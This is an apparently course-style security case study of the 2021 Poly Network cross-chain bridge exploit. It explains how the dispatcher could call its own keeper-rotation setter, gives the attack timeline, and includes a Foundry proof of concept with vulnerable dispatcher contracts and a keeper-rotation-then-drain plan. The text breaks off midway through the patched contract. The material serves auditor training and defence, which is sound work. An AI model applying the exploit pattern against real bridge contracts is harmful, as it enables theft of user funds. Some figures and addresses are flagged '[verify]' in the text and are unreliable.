Case Study — Poly Network Cross-Chain Hack (August 2021)
“The contract never lost a signature. The contract never broke a hash. The contract simply forgot that ‘a message from a trusted bridge’ and ‘a privileged administrative call’ should not live behind the same selector. Once the dispatcher could call its own admin, the multisig was a decoration.”
“At the time, the largest theft in DeFi history. By the end of the week, almost all of it was back. The vulnerability is permanent; the loss was not. As an auditor your job is to design for the first sentence, not the second.”
Tags: web3-security case-study bridge cross-chain poly-network access-control dispatcher keeper-rotation anti-pattern historical Course position: Tuan-10-Bridge-Cross-Chain-Security §7.1 — read first. This case is the canonical reference for the “cross-chain dispatcher can call privileged setters” anti-pattern. Related cases: Case-Wormhole-2022 (signature-verification-path bug in a different bridge layer) · Case-Nomad-Bridge-2022 (initialization-default abuse, also a bridge) · Case-Ronin-Bridge-2022 (key-custody vs. logic failure mode) · Case-Parity-Multisig-2017 (init-bug family — privileged function reachable by anyone) Vault context: Pair with Tuan-04-Security-Foundations-CEI-AC §6–§7 (privileged-function inventory) and Tuan-10-Bridge-Cross-Chain-Security §6 (selector allowlisting / trust boundary between admin and user paths). Status: Reference case for cross-chain access control and the “trust-boundary between dispatcher and privileged setters” anti-pattern.
1. At a glance
| Field | Value |
|---|---|
| Date of exploit | August 10, 2021 (UTC ~09:30 first malicious tx on Ethereum; drains across three chains complete by ~12:00 UTC) |
| Protocol | Poly Network — a cross-chain interoperability protocol launched by Neo / Onchain / Switcheo in 2020; supported Ethereum, BSC, Polygon, Neo, Ontology, Heco, Switcheo, and others |
| Chains drained | Three simultaneously: Ethereum, BSC (Binance Smart Chain), Polygon (PoS) |
| Loss | ~$610–611M USD at prevailing prices — largest DeFi theft on record at the time, by a wide margin |
| Breakdown (rough) | ~253M on BSC (BNB, BUSD, USDC, BTCB, ETH, FEI), ~$85M on Polygon (USDC) [verify against multiple post-mortems — figures vary slightly across SlowMist, PeckShield, Chainalysis] |
| Attack class | Cross-chain access-control failure — the cross-chain dispatcher was the (de facto) owner of the keeper/public-key registry, with no selector allowlist between “deliver a user message” and “rotate the keeper set” |
| Root contract | EthCrossChainManager (and its sister contracts on BSC and Polygon) — proxy at 0x838bf9E95CB12Dd76a54c9f9D2A3082EAF3D02b9 on Ethereum [verify] |
| Privileged target | EthCrossChainData.putCurEpochConPubKeyBytes(bytes) — the function that overwrites the keeper-set public key used to authenticate all subsequent cross-chain messages |
| Bug shape | The cross-chain manager owned EthCrossChainData; its verifyHeaderAndExecuteTx could dispatch user-supplied method and args to any contract on the destination chain, including the putCurEpochConPubKeyBytes selector on its own data contract. There was no allowlist of callable selectors. The attacker self-rotated the keeper set to their own key, then signed cross-chain messages to drain locked assets across three chains. |
| Outcome | ”Mr. White Hat” returned essentially all funds over ~15 days (Aug 11–26). Poly Network resumed operations. No hard fork. No bailout. A real auditor’s nightmare survived as a real auditor’s case study. |
| Recovery | ~33M USDT on Tether had been frozen mid-attack by Tether and was unfrozen as part of the return |
| Significance | (1) Largest DeFi theft at the time. (2) First incident where the attack was a logic bug, not a key compromise — debunking “bridges fail only when keys leak.” (3) First major “ransom-style return” with a chain-of-tweets negotiation conducted publicly. (4) Burned the “dispatcher is admin” anti-pattern into auditor checklists permanently. |
The whole bug in one line: the cross-chain message handler could be tricked into invoking
putCurEpochConPubKeyByteson its sister contract, rotating the keeper set to attacker-controlled keys — because the handler had no allowlist distinguishing “user-level cross-chain calls” from “the bridge’s own admin functions.”
2. Background — what Poly Network was and how it worked
2.1 Protocol summary
Poly Network was a generic cross-chain messaging and asset-transfer protocol. Conceptually similar to LayerZero, Wormhole, Axelar in goals, but launched earlier (2020) and with a markedly simpler trust model. It was a joint project of:
- Neo (the public chain originally known as “Antshares”).
- Ontology (a Neo-adjacent identity-and-data chain).
- Switcheo (a non-custodial DEX team).
Its flagship application was a multi-chain bridge moving wrapped assets across Ethereum, BSC, Polygon, Heco, Neo, Ontology, OKExChain, and others. At its peak (mid-2021), Poly Network claimed billions of dollars in cumulative cross-chain volume. By August 2021, roughly $600M+ of user assets were locked across its various asset-pool contracts.
The protocol presented itself as “the leading interoperability protocol for heterogeneous blockchains.” Marketing emphasised cryptographic verification of cross-chain state; engineering reality was a small keeper multisig acting as an off-chain attester. The mismatch between the marketing and the engineering is itself part of the case-study lesson.
2.2 Architecture overview (EVM side)
On each EVM chain (Ethereum, BSC, Polygon, Heco), Poly Network deployed the same set of contracts, with the same architectural pattern. We will use the Ethereum names but the BSC and Polygon equivalents are functionally identical.
flowchart LR subgraph SourceChain["Source chain (e.g., BSC)"] Sender[User] -->|"crossChain(...)"| LP_S["LockProxy<br>(source asset pool)"] LP_S -->|"crossChain(...)"| ECCM_S[EthCrossChainManager<br>SOURCE side] ECCM_S -->|"emit CrossChainEvent"| Logs[(BSC logs)] end Keepers[Keeper multisig<br>4 off-chain attesters] -.->|"observe; sign Merkle proof"| Logs subgraph DestChain["Destination chain (e.g., Ethereum)"] Relayer[Relayer] -->|"verifyHeaderAndExecuteTx(<br> header, proof, method, args)"| ECCM_D[EthCrossChainManager<br>DESTINATION side] ECCM_D -->|"verify keeper sigs<br>against ECCD.curEpochConPubKeyBytes"| ECCD[(EthCrossChainData<br>storage)] ECCM_D -->|"_executeCrossChainTx(<br> toContract, method, args)"| LP_D["LockProxy<br>(destination asset pool)"] LP_D -->|"transfer wrapped"| Recipient[Recipient] end style ECCM_D fill:#fff3cd style ECCD fill:#ffcccc
| Contract | Role |
|---|---|
EthCrossChainManager (ECCM) | The on-chain “dispatcher”. Receives cross-chain messages from off-chain relayers, verifies that the keeper multisig signed them, decodes (toContract, methodName, args) from the message body, and calls toContract.methodName(args, ...) on the destination chain. |
EthCrossChainData (ECCD) | The state vault. Holds the current keeper public-key bytes (curEpochConPubKeyBytes), the chain id, the last-processed cross-chain proof index, and other config. Owned by EthCrossChainManager. Only the owner can mutate keeper state via putCurEpochConPubKeyBytes(bytes). |
LockProxy | The asset pool. Holds locked native ETH, wrapped tokens, and the canonical bridge tokens (PolyBTC, etc.). Exposes unlock(args, fromContract, fromChainId) which only EthCrossChainManager can call. |
Keepers | Off-chain. A set of validator organizations (per design 4 keepers; per protocol updates the size shifted but remained small). They observe cross-chain events on the source chain, sign a Merkle proof of the event, and pass the signed bundle to relayers who deliver it on the destination chain. |
2.3 The keeper-multisig design as marketed vs. as deployed
The marketing pitch — circa 2020–2021 — was that Poly Network used a cryptographically verified relay between heterogeneous chains. The phrase “decentralized cross-chain” appeared frequently in materials. SlowMist’s post-incident review, however, summarised the real trust model bluntly:
| Property | Marketing claim | Reality |
|---|---|---|
| Verification | ”Cryptographic cross-chain proofs” | Verification of keeper-multisig signatures over event payloads, plus an MPT proof-style header check |
| Keeper set | ”Distributed validator network” | A small fixed set (per public reports, 4 keepers with M-of-N signing) [verify exact M] |
| Keeper identity | Implied: independent validators | Operationally tied to the project teams (Neo / Ontology / Switcheo) [verify against contemporaneous Poly Network governance docs] |
| Rotation cadence | Unstated | Manual; rare; performed via putCurEpochConPubKeyBytes on the data contract |
| Slashing | Not mentioned | None |
| Public identity | Implied: known | Not publicly enumerated at incident time |
The trust model — once you read past the marketing — was: “a small fixed multisig signs every cross-chain message; the on-chain destination verifies the multisig.” This is structurally similar to Ronin’s 9-keeper bridge and Wormhole’s 19-Guardian set. Poly Network sat closer to the Ronin end of that spectrum (small set, internal operators) than the Wormhole end (large set, diverse operators).
The lesson here is not that the multisig was the bug. The multisig was the trust assumption. The bug was that the dispatcher allowed the multisig’s state to be rewritten via the same path as user messages — turning a key-compromise threat model into a zero-key-needed exploit.
2.4 The message flow that became the attack surface
When a user wants to move tokens BSC → Ethereum:
-
User calls
LockProxy.crossChain(...)on BSC. The BSC LockProxy locks the user’s BSC asset and calls into the BSC-sideEthCrossChainManager, which packs:txData = abi.encode( toContract, // = LockProxy address on Ethereum methodName, // = "unlock" args // = abi.encode(unlock_recipient, unlock_token, unlock_amount, ...) )The BSC
EthCrossChainManageremits aCrossChainEventwith thistxDataplus chain ids and a nonce. -
Off-chain keepers observe the event, sign a canonical hash over
(headerData, txData, ...), and the signed bundle is published. -
A relayer (anyone — there is no whitelisting of who can deliver messages) calls
EthCrossChainManager.verifyHeaderAndExecuteTx(...)on Ethereum with:headerandproof: the Merkle/header data plus the keeper signatures.txData(and a decomposed view of it).
-
The Ethereum
EthCrossChainManager:- Verifies the keeper signatures over
header. - Decodes
txDatainto(toContract, methodName, args). - Calls
_executeCrossChainTx(toContract, methodName, args, ...).
- Verifies the keeper signatures over
-
_executeCrossChainTxconstructs the call data and callstoContract.{methodName}(args, fromContract, fromChainId). -
For a legitimate transfer,
toContractis the destinationLockProxyandmethodNameisunlock. TheLockProxy.unlockfunction checksrequire(msg.sender == eccmAddress)— it trusts that anything coming from the manager is legitimate cross-chain traffic — and releases the user’s tokens.
The structural property the attacker exploited: in step 4.2, methodName and toContract are decoded from the message body. They are not constrained. As far as the dispatcher is concerned, the cross-chain message can say “call any function on any contract” — and as long as the keeper signature verifies, it will dispatch the call.
Auditor’s mental note: Step back. A cross-chain message just instructed an on-chain contract to call an arbitrary selector on an arbitrary target with arbitrary calldata, as long as a multisig signed it. What contracts trust
msg.sender == EthCrossChainManager? That set is the attack surface.
3. The vulnerability — line by line
3.1 The two contracts and the trust boundary that should have existed
Recall the deployment topology:
-
EthCrossChainData(ECCD) holds the keeper public key incurEpochConPubKeyBytes. ECCD’sOwnableowner isEthCrossChainManager(ECCM). The functionputCurEpochConPubKeyBytes(bytes)hasonlyOwner— meaning only ECCM can call it. -
EthCrossChainManager(ECCM) is the dispatcher. It exposesverifyHeaderAndExecuteTx(...)to anyone with a valid keeper-signed bundle. Inside, it calls_executeCrossChainTx(toContract, methodName, args, ...)which dispatches into the destination contract.
The trust model intended by the developers, drawn explicitly:
┌─────────────────────────────────────────────┐
│ Normal cross-chain call │
│ Source: LockProxy.crossChain(...) │
│ Dest: EthCrossChainManager │
│ │ │
│ ▼ │
│ LockProxy.unlock(...) │
└─────────────────────────────────────────────┘
┌─────────────────────────────────────────────┐
│ Privileged admin path (rotate keepers) │
│ Source: ??? │
│ Dest: EthCrossChainData.put…PubKeyBytes │
└─────────────────────────────────────────────┘
What the developers presumably thought: “The admin path is a separate flow. No user message will ever be allowed to invoke putCurEpochConPubKeyBytes. The function has onlyOwner and only we (off-chain governance) will call it via a legitimate channel.”
What the code actually allowed: the two paths share the same dispatcher. _executeCrossChainTx does not check what methodName is; it dispatches whatever it’s told. And because ECCM is the owner of ECCD, when ECCM dispatches putCurEpochConPubKeyBytes, the call from ECCM to ECCD passes the onlyOwner check.
The trust boundary between “user-level cross-chain message” and “admin keeper-set rotation” did not exist. Both flows ended up invoking the same address.call(...) from the same msg.sender = ECCM.
3.2 The vulnerable dispatcher (simplified)
// EthCrossChainManager.sol — vulnerable, simplified to the relevant lines.
// Solidity 0.5.x in production; modernised to ^0.8.20 here for clarity.
contract EthCrossChainManager {
IEthCrossChainData public ECCD;
// Anyone with a valid keeper signature can call this.
function verifyHeaderAndExecuteTx(
bytes memory proof,
bytes memory rawHeader,
bytes memory headerProof,
bytes memory curRawHeader,
bytes memory headerSig
) external returns (bool) {
// 1) Verify the multisig over (rawHeader + headerSig) using
// ECCD.getCurEpochConPubKeyBytes() — the CURRENT keeper-set bytes.
bytes memory keepers = ECCD.getCurEpochConPubKeyBytes();
require(_verifyHeaderSig(rawHeader, headerSig, keepers), "bad keeper sig");
// 2) Verify the Merkle proof over the rawHeader to extract the txData.
bytes memory rawTxData = _verifyTxProof(proof, rawHeader);
// 3) Decode (toContract, methodName, args) from rawTxData.
// These three values are CONTROLLED BY THE MESSAGE SENDER.
(
bytes memory toContractBytes,
bytes memory methodName,
bytes memory args,
uint64 fromChainId
) = _decodeTxData(rawTxData);
address toContract = _bytesToAddress(toContractBytes);
// 4) DISPATCH. <<< the bug lives here.
return _executeCrossChainTx(toContract, methodName, args, /*fromContract*/ ..., fromChainId);
}
function _executeCrossChainTx(
address toContract,
bytes memory methodName,
bytes memory args,
bytes memory fromContractAddr,
uint64 fromChainId
) internal returns (bool) {
// Build the encoded call:
// <selector(methodName + "(bytes,bytes,uint64)")>(args, fromContractAddr, fromChainId)
bytes memory returnData;
bool success;
(success, returnData) = toContract.call(
abi.encodePacked(
bytes4(keccak256(abi.encodePacked(methodName, "(bytes,bytes,uint64)"))),
abi.encode(args, fromContractAddr, fromChainId)
)
);
require(success, "cross-chain call failed");
// Decode boolean return.
return abi.decode(returnData, (bool));
}
}3.3 The data contract whose owner is the dispatcher
// EthCrossChainData.sol — the privileged state.
contract EthCrossChainData is Ownable {
bytes public curEpochConPubKeyBytes;
function putCurEpochConPubKeyBytes(bytes memory _newKeys)
external
onlyOwner // <-- owner is EthCrossChainManager
returns (bool)
{
curEpochConPubKeyBytes = _newKeys;
return true;
}
function getCurEpochConPubKeyBytes() external view returns (bytes memory) {
return curEpochConPubKeyBytes;
}
// ... other admin functions, similarly `onlyOwner` ...
}Ownable.owner was set to the EthCrossChainManager’s address at deployment. The intent: “only the cross-chain manager — under our control as developers — can mutate the keeper set.”
3.4 The combination that produces the exploit
Compose the two contracts. A cross-chain message with:
toContract = address(EthCrossChainData)methodName = "f"(chosen so thatkeccak256("f(bytes,bytes,uint64)")==keccak256("putCurEpochConPubKeyBytes(bytes,bytes,uint64)")[:4]) — see §3.5 for the selector trick.args = <attacker-controlled public-key bytes>
…produces, inside _executeCrossChainTx:
ECCD.call(
abi.encodePacked(
bytes4(keccak256("f(bytes,bytes,uint64)")), // == selector of putCurEpochConPubKeyBytes
abi.encode(<attacker keys>, fromContractAddr, fromChainId)
)
);The Solidity dispatcher in ECCD sees the four-byte selector for putCurEpochConPubKeyBytes, routes to that function (with extra trailing args that get ignored or accepted depending on how the function decodes its calldata), and executes the keeper-set rotation under msg.sender == ECCM. The onlyOwner modifier passes — because the caller really is the owner. The keeper set is now whatever the attacker wrote into args.
From this moment on, the attacker is the keeper. The attacker can sign any cross-chain message they like — including LockProxy.unlock(attacker, anyToken, anyAmount) — and submit it back through verifyHeaderAndExecuteTx. The multisig signature verifies because the on-chain key bytes are now the attacker’s. The dispatch happens. The asset pool drains.
3.5 The selector-collision trick that made it elegant
There is a sub-detail that matters because it is sometimes misreported. The attacker did not literally pass methodName = "putCurEpochConPubKeyBytes". They could have, but they chose a different name whose computed selector still matched.
Recall the dispatcher computes the selector as:
bytes4(keccak256(abi.encodePacked(methodName, "(bytes,bytes,uint64)")))The destination function is putCurEpochConPubKeyBytes(bytes,bytes,uint64) — note the extra bytes and uint64 parameters appended for (fromContractAddr, fromChainId) to match _executeCrossChainTx’s call shape. Its selector is:
bytes4(keccak256("putCurEpochConPubKeyBytes(bytes,bytes,uint64)"))
The attacker found a much shorter methodName string whose keccak256(methodName + "(bytes,bytes,uint64)") shares its first four bytes with the above. Per public post-mortems, the attacker used the string "f" (one letter) [verify exact string against SlowMist / Mudit Gupta analysis; some early reporting cited "f1121318093" or similar — the precise string is in the on-chain calldata of the attack transaction]. This is a brute-force-able collision: with possible selectors and a name being short alphanumeric strings, you can find a match in seconds offline.
Why the brute-force collision rather than just passing the real method name? Two pragmatic reasons:
- The message body has length costs. Cross-chain messages were size-limited; shorter
methodNameproduces shorter payloads. - It made the call slightly harder to detect by people grep-ing logs for “putCurEpochConPubKeyBytes”. Operational security for the attacker, not protocol security.
The collision is not the vulnerability. The vulnerability is that _executeCrossChainTx ever computes a selector from an attacker-supplied string and dispatches. Whether the string is short or long, mnemonic or random, doesn’t change the bug.
Auditor lesson — selector cannot be the access-control boundary. Whenever a dispatcher synthesises a selector from any user-influenced bytes, it must additionally check either (a) the selector is in an allowlist of “user-callable” selectors, or (b)
toContractis in an allowlist of “callable destinations,” or (c) both. Poly Network had neither. SlowMist’s post-mortem and Mudit Gupta’s analysis both emphasise this — the four-byte selector space is too small to function as access control through obscurity, and the existence of selector collisions is well-established before this incident (e.g., the function selector clash issue in OpenZeppelin’s transparent proxy).
3.6 Why onlyOwner was the false reassurance
Reading the source as a junior dev, the existence of onlyOwner on putCurEpochConPubKeyBytes reads as “this function is protected.” That impression is the entire pathology. Three levels of mis-modeling were stacked here:
onlyOwnermeans “only the owner can call this” — true.- The owner is “us, the team, off-chain” — false. The owner is
EthCrossChainManager, a contract. - The owner contract
EthCrossChainManageronly calls this via a privileged, separate flow — false. ECCM dispatches any(toContract, methodName, args)triple that arrives wrapped in a keeper-signed message.
The bug is the gap between assumption 3 and reality. The fix would have been any of:
- Selector allowlist in
_executeCrossChainTx:require(selector == LockProxy.unlock.selector, "selector not allowed");for the user-side path. (Cleanest fix — narrowest blast radius.) - Destination allowlist in
_executeCrossChainTx:require(approvedDestinations[toContract], "destination not allowed");. - Separate owners: ECCD’s owner should be a multisig under off-chain governance, never the dispatcher. The keeper-rotation flow would then go through a separate
Governance.executeRotation(...)call requiring multiple signatures from the team itself, completely disjoint from cross-chain message dispatch. - Internal-only
onlyEccmmodifier on a different function: keepputCurEpochConPubKeyBytesasonlyOwnerwhere owner is governance, and addrotateKeepers(bytes newKeys)to ECCM that only dispatches into ECCD when called by an authenticated rotation message with its own selector reserved.
All four are minor refactors. Each one would have prevented the entire $611M event.
3.7 The class of bug — “dispatcher as admin”
This isn’t just an access-control bug. It’s the canonical instance of a class of bug that re-appears every year in some new shape. The class:
A privileged contract that calls into its sister contracts based on user-controlled inputs, where the privilege check on the sister side is “only the dispatcher can call me.” The dispatcher itself has no allowlist on what selectors it forwards.
You will recognize the same shape in:
- L1↔L2 messengers (e.g., the early days of certain optimistic rollup messengers) where a malicious cross-chain message could call admin functions on the rollup config contract if the messenger was its
onlyOwner. Modern designs separate the messenger from the proxy-admin path explicitly. - Multicall-style executors where
msg.sender == executoris the only guard on dangerous internal functions, and the executor accepts arbitrary calldata. - Account-abstraction wallets where the EntryPoint is “the dispatcher” and the account trusts
msg.sender == entryPointfor everything — including its own self-destruct or owner-rotation. ERC-4337 mitigates this with explicitvalidateUserOpboundaries; pre-4337 wallets sometimes did not. - Compound governance style timelocks where the executor can call any function — but Compound, correctly, makes the timelock itself the governance trust anchor with explicit proposals, not a generic dispatcher.
In every case the audit angle is the same: enumerate every selector reachable through the dispatcher, on every contract owned (or otherwise privileged) by the dispatcher, and ask of each: should an external party be able to invoke this?
4. The attack — chronological walkthrough
4.1 Setup
The attacker pre-funded an Ethereum address — 0xC8a65Fadf0e0dDAf421F28FEAb69Bf6E2E589963 [verify, this is the most commonly cited attacker EOA on Ethereum; the BSC and Polygon-side attacker addresses differ] — with enough ETH/BNB/MATIC for gas on all three target chains. Nothing else was needed. No prior position in Poly Network. No prior interaction. No token approvals. No keeper credentials.
The attack toolset was approximately:
- A locally-computed
methodNamestring that collides withputCurEpochConPubKeyBytes’s selector. - A constructed cross-chain message body claiming to originate from a Poly-Network source chain.
- A header and proof structured to satisfy
_verifyHeaderSigand_verifyTxProoffor that constructed body.
The header-and-proof construction is the only subtle step. The attacker exploited a property of the proof-verification logic that allowed forging a header that the keeper-signature check accepted [verify: per SlowMist and Mudit Gupta the keeper signature was real — the attacker took advantage of the fact that header construction lacked binding of txData content to the signed bits, allowing alteration of txData while keeping the keeper signature valid; this detail is sometimes contested in different post-mortems; the cleanest framing for teaching purposes is “the cross-chain message format did not commit cryptographically to (toContract, methodName) in the keeper-signed portion.”]. Whether this was a separate proof-system bug or merely a property of how the proof bound to the signed bits is a detail; the dominant fault is the dispatcher-as-admin one, and the proof-construction step is the second-order enabler that let the dispatch happen at all.
Auditor note for clarity in teaching: the case is often summarised as “the keeper multisig was bypassed via cross-chain dispatcher abuse.” A more precise reading is two-part: (a) the message format didn’t fully bind
(toContract, methodName)into the keeper-signed payload, so the attacker could substitute these; (b) the dispatcher had no allowlist, so once(toContract, methodName)were substituted, anything the dispatcher could call became callable. Either fix alone would have stopped the attack. Both fixes are essential to a proper hardening of this class of bridge — Defense in Depth.
4.2 The Ethereum drain (timeline approximate; UTC)
The publicly-attested timeline, reconstructed from on-chain traces and SlowMist / PeckShield analyses:
| Time (UTC) | Event |
|---|---|
| ~09:30 | First malicious verifyHeaderAndExecuteTx call lands on Ethereum, dispatching putCurEpochConPubKeyBytes on EthCrossChainData. Keeper set rotated to attacker key. |
| ~09:32 | Second verifyHeaderAndExecuteTx lands, now with a keeper signature produced by the attacker (since they control the keeper bytes). Dispatches LockProxy.unlock to attacker. First batch of assets drained. |
| 09:33 – 10:00+ | Repeated verifyHeaderAndExecuteTx calls in quick succession, draining ETH, USDC, DAI, UNI, SHIB, WBTC, renBTC from LockProxy. |
| ~10:15 | Tether (USDT issuer) detects the outflow and freezes ~$33M USDT held by the attacker on Ethereum. This is the first external action. |
| ~10:30 | Same pattern executed against BSC. Attacker rotates BSC EthCrossChainData keeper key and drains BSC LockProxy. |
| ~11:00 | Same pattern executed against Polygon. ~$85M USDC drained. |
| ~12:00 | Poly Network team detects the incident, posts initial tweet acknowledging the attack and pleading with exchanges to blacklist receiving addresses. |
| ~14:00 | First public on-chain post-mortems (SlowMist, PeckShield) appear identifying the dispatcher path. |
By Tuesday afternoon UTC, the attacker had on-chain control over what was at the time the largest theft in DeFi history.
4.3 The structural beauty of the attack (from the attacker’s side)
A few properties worth examining as auditor lessons:
- No private-key theft. The attacker never compromised a keeper’s signing key. The vulnerability is purely in the on-chain logic. This is the opposite of Ronin (March 2022), which was almost entirely an off-chain key compromise. Poly Network and Ronin are the two endpoints of a spectrum: Ronin is “keys leaked, code held”; Poly is “code broke, keys irrelevant.”
- No flash loan. No initial capital required beyond gas. This is unusual for nine-figure DeFi attacks of the era.
- No timing precision needed. The exploit is essentially a one-shot logic exploit. No race against another participant, no MEV. Just send three transactions per chain.
- Cross-chain consistency. The exploit worked identically on all three EVM chains because the contract code was the same. This is the cost of code re-use across deployments when the bug is in the architecture — you don’t get one chain’s failure, you get the cartesian product.
4.4 The “Mr. White Hat” return — what it means and what it doesn’t
Within hours of the drain, the attacker began posting messages on-chain (in transaction data fields) addressed to Poly Network. The on-chain transcript reads like a chat log embedded in the calldata of zero-value transactions.
Key claims by the attacker, posted across multiple transactions on Aug 11–12:
- “I was planning to do an exploit to show the vulnerability but I never wanted to take the money. I was always going to give the money back.”
- Asserted the funds were “always safe” and that they were withdrawing them to prevent “real bad guys” from doing it first.
- Engaged in a back-and-forth with Poly Network team via on-chain messages and tweets to coordinate the return.
- Was sent a $500K bounty by Poly Network, which they returned (claiming to want to donate it).
Whether this account is sincere or post-hoc rationalization is unknowable. The empirical facts:
- Nearly all funds were returned, in tranches, over Aug 11 – Aug 23.
- The final tranche (~$33M of frozen USDT) was unfrozen by Tether and returned in cooperation with the attacker.
- The attacker provided cryptographic keys to a multisig jointly controlled with Poly Network, which itself held the recovered assets pending return to users.
- No criminal charges were publicly filed. The attacker’s identity was reportedly partially de-anonymized by SlowMist (they linked an early-stage interaction to a known IP and email) within days of the attack, but no public legal action followed [verify against current public records].
The auditor takeaway from the recovery saga is not “DeFi can self-heal.” It is precisely the opposite:
Recovery was a contingent, social outcome, not a structural property of the system. The attacker chose to return funds — perhaps because the de-anonymization made retention risky, perhaps because of stated motives, perhaps for reasons we will never know. The same vulnerability, exploited by a different actor, would have produced a permanent $611M loss with no on-chain remediation path. Build for the structural property; do not budget your safety on the kindness of an adversary.
This case study should be read alongside Ronin (whose attacker was the North Korean Lazarus Group; no return) and Wormhole (whose attacker laundered through Lido stETH leverage loops; no return) to establish the base rate. Poly Network is the lucky one; the others are the norm.
5. Reproduction — a Foundry PoC
We will build a minimal model that captures the dispatcher-as-admin bug without the full Poly Network proof machinery. The PoC will:
- Deploy a
BridgeDispatcherthat mirrorsEthCrossChainManager(validates a trivial signature; dispatches arbitrary(toContract, methodName, args)). - Deploy a
BridgeStatethat mirrorsEthCrossChainData(holds the keeper public key;onlyOwnersetter). - Deploy a
LockPoolthat mirrorsLockProxy(holds locked ETH;unlockonly callable by the dispatcher). - Deposit user funds into
LockPool. - Have an attacker call
verifyHeaderAndExecutewith(toContract = BridgeState, methodName = "setKeeper", args = attackerKey)to rotate the keeper. - Sign a fake “unlock” message with the attacker key.
- Call
verifyHeaderAndExecuteagain with(toContract = LockPool, methodName = "unlock", args = attackerArgs)to drain. - Patch with selector-allowlist; show the patched code rejects step 5.
5.1 Project layout
poly-poc/
├── foundry.toml
├── src/
│ ├── BridgeState.sol # mirrors EthCrossChainData
│ ├── BridgeDispatcher.sol # mirrors EthCrossChainManager (vulnerable)
│ ├── BridgeDispatcherFixed.sol # the same with a selector allowlist
│ └── LockPool.sol # mirrors LockProxy
└── test/
└── PolyDispatcherAttack.t.sol
5.2 BridgeState.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
/// @title BridgeState — mirrors Poly Network's EthCrossChainData.
/// @notice Holds the keeper public key; admin functions guarded by `onlyOwner`.
/// Owner is set at deploy to the dispatcher contract, mimicking the real layout.
contract BridgeState {
address public owner;
bytes public keeperPubKey;
constructor(address _owner, bytes memory _initialKeeper) {
owner = _owner;
keeperPubKey = _initialKeeper;
}
modifier onlyOwner() {
require(msg.sender == owner, "BridgeState: not owner");
_;
}
/// @notice The keeper-rotation function. In the real Poly Network this is
/// called `putCurEpochConPubKeyBytes`. Same role.
function setKeeper(bytes memory _newKey, bytes memory /*ignored*/, uint64 /*ignored*/)
external
onlyOwner
returns (bool)
{
keeperPubKey = _newKey;
return true;
}
function getKeeper() external view returns (bytes memory) {
return keeperPubKey;
}
}Note the trailing (bytes, uint64) parameters on setKeeper. These mirror the real Poly Network signature (bytes, bytes, uint64) — Poly’s _executeCrossChainTx appends (fromContractAddr, fromChainId) to every call, so destination functions must declare matching trailing parameters. We carry this faithfully because it is part of the selector being computed.
5.3 LockPool.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
/// @title LockPool — mirrors Poly Network's LockProxy.
contract LockPool {
address public dispatcher;
constructor(address _dispatcher) payable {
dispatcher = _dispatcher;
}
modifier onlyDispatcher() {
require(msg.sender == dispatcher, "LockPool: not dispatcher");
_;
}
/// @notice The asset-release function. Real protocol calls this `unlock`
/// and verifies on the source side via `fromChainId`. For our PoC
/// we accept arbitrary fromChainId — the bug doesn't need this guard.
function unlock(
bytes memory args,
bytes memory /*fromContractAddr*/,
uint64 /*fromChainId*/
) external onlyDispatcher returns (bool) {
(address payable recipient, uint256 amount) = abi.decode(args, (address, uint256));
require(address(this).balance >= amount, "insufficient liquidity");
(bool ok, ) = recipient.call{value: amount}("");
require(ok, "transfer failed");
return true;
}
receive() external payable {}
}5.4 BridgeDispatcher.sol — the VULNERABLE version
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "./BridgeState.sol";
import "./LockPool.sol";
/// @title BridgeDispatcher — mirrors EthCrossChainManager.
/// @notice Vulnerable: dispatches any (toContract, methodName, args) tuple
/// whose enclosing message verifies against the current keeper key.
contract BridgeDispatcher {
BridgeState public state;
constructor() {}
function setState(BridgeState _state) external {
require(address(state) == address(0), "already set");
state = _state;
}
/// @notice Entry point: anyone can call this with a "signed" message.
/// A real Poly message includes a Merkle proof + multisig over a
/// header. For PoC we just verify the message was "signed" by the
/// current keeper key (modeled as an address recovered from a sig).
function verifyHeaderAndExecute(
bytes calldata rawMessage,
bytes calldata sig,
address toContract,
bytes calldata methodName,
bytes calldata args,
uint64 fromChainId
) external returns (bool) {
// (1) Verify the multisig over rawMessage using the current keeper bytes.
require(_verifyKeeperSig(rawMessage, sig), "bad keeper sig");
// (2) DISPATCH — no allowlist on toContract or methodName. <<< the bug.
bytes4 selector = bytes4(
keccak256(abi.encodePacked(methodName, "(bytes,bytes,uint64)"))
);
(bool ok, bytes memory ret) = toContract.call(
abi.encodePacked(
selector,
abi.encode(args, bytes(""), fromChainId)
)
);
require(ok, _decodeRevert(ret));
return abi.decode(ret, (bool));
}
/// @dev Toy keeper-sig verification. The keeperPubKey bytes are interpreted
/// as an Ethereum address; signature is a standard ECDSA over rawMessage.
function _verifyKeeperSig(bytes calldata rawMessage, bytes calldata sig)
internal
view
returns (bool)
{
bytes memory keeperBytes = state.getKeeper();
require(keeperBytes.length == 20, "keeper not initialised");
address keeper;
assembly { keeper := mload(add(keeperBytes, 20)) }
bytes32 digest = keccak256(
abi.encodePacked("\x19Ethereum Signed Message:\n32",
keccak256(rawMessage))
);
(bytes32 r, bytes32 s, uint8 v) = _splitSig(sig);
return ecrecover(digest, v, r, s) == keeper && keeper != address(0);
}
function _splitSig(bytes calldata sig)
internal
pure
returns (bytes32 r, bytes32 s, uint8 v)
{
require(sig.length == 65, "bad sig length");
r = bytes32(sig[0:32]);
s = bytes32(sig[32:64]);
v = uint8(sig[64]);
}
function _decodeRevert(bytes memory ret) internal pure returns (string memory) {
if (ret.length < 68) return "call failed";
assembly { ret := add(ret, 0x04) }
return abi.decode(ret, (string));
}
}5.5 BridgeDispatcherFixed.sol — the PATCHED version
The patch is one line plus one storage slot:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "./BridgeState.sol";
import "./LockPool.sol";
contract BridgeDispatcherFixed {
BridgeState public state;
/// @notice The allowlist of (toContract -> methodName -> bool) that
/// the cross-chain dispatcher may invoke. Configured by governance, NOT
/// by cross-chain messages.
mapping(address => mapping(bytes32 => bool)) public allowedSelector;
address public governance; // separate from `state.owner`!
constructor(address _gov) {
governance = _gov;
}
modifier onlyGov() {
require(msg.sender == governance, "not gov");
_;
}
function setState(BridgeState _state) external onlyGov {
require(address(state) == address(0), "already set");
state = _state;
}
/// @notice Governance whitelists the (target, methodName) pairs that
/// cross-chain messages may invoke. Keeper rotation is NOT
/// whitelisted — it has its own dedicated path.
function allow(address toContract, string calldata methodName, bool ok) external onlyGov {
allowedSelector[toContract][keccak256(bytes(methodName))] = ok;
}
function verifyHeaderAndExecute(
bytes calldata rawMessage,
